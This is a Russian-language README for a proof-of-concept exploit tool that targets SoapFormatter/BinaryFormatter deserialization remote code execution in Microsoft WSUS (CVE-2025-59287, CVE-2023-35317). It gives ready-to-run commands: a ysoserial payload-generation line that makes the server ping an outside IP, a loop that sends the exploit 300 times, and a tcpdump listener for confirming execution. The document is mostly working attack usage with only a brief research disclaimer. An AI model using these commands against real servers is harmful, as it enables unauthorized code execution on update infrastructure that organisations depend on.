CVE-2025-59287 / CVE-2023-35317 PoC

Внутри CVE-2025-59287: SoapFormatter RCE в WSUS: https://shellcode.blog/wsus-cve-2025-59287-investigation/

Данное программное обеспечение создано исключительно для целей академических исследований и разработки эффективных защитных техник; оно не предназначено для атаки на системы, за исключением случаев явного разрешения. Разработчики проекта не несут ответственности за злоупотребление этим ПО. Используйте ответственно.

Использование

Обязательные флаги:

• --target-url – Базовый URL целевого сервера WSUS, например http://WIN-246JC0TE3BB.vuln.local:8530
• --cve – Один из CVE-2023-35317 или CVE-2025-59287

Необязательные флаги:

• --dns-name – DNS-имя клиента, используемое в SOAP-запросах (по умолчанию: bugcrowd.local)
• --random – Добавляет случайный поддомен к --dns-name, так что каждый запуск выглядит как новый клиент
• --payload – Пользовательская полезная нагрузка ysoserial в кодировке base64; если не указана, используется встроенная для выбранного --cve
• --debug – Включает подробное журналирование отладки (строки [DEBUG])

CVE-2025-59287

1. python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2025-59287 --random

Ручной запуск – CVE-2023-35317

1. (Необязательно) Сгенерируйте полезную нагрузку с помощью Ysoserial.Net, если вы не хотите использовать встроенную (или полагайтесь на встроенную полезную нагрузку).
2. Выполните: python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --dns-name bugcrowd.local --cve CVE-2023-35317 --random
3. Откройте консоль WSUS

Автоматический запуск – CVE-2023-35317

1. ./ysoserial.exe -g RolePrincipal -f BinaryFormatter -c 'ping 18.118.100.100' -o base64 (или полагайтесь на встроенную полезную нагрузку для --cve CVE-2023-35317)
2. for i in `seq 1 300`; do sleep 1; python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2023-35317 --random ;done
3. Подождите 1–3 минуты, и он появится в процессе службы.
4. Отслеживайте ICMP-соединения: sudo tcpdump -l -n -i any icmp | while read line; do echo "$line"; echo -ne '\a'; done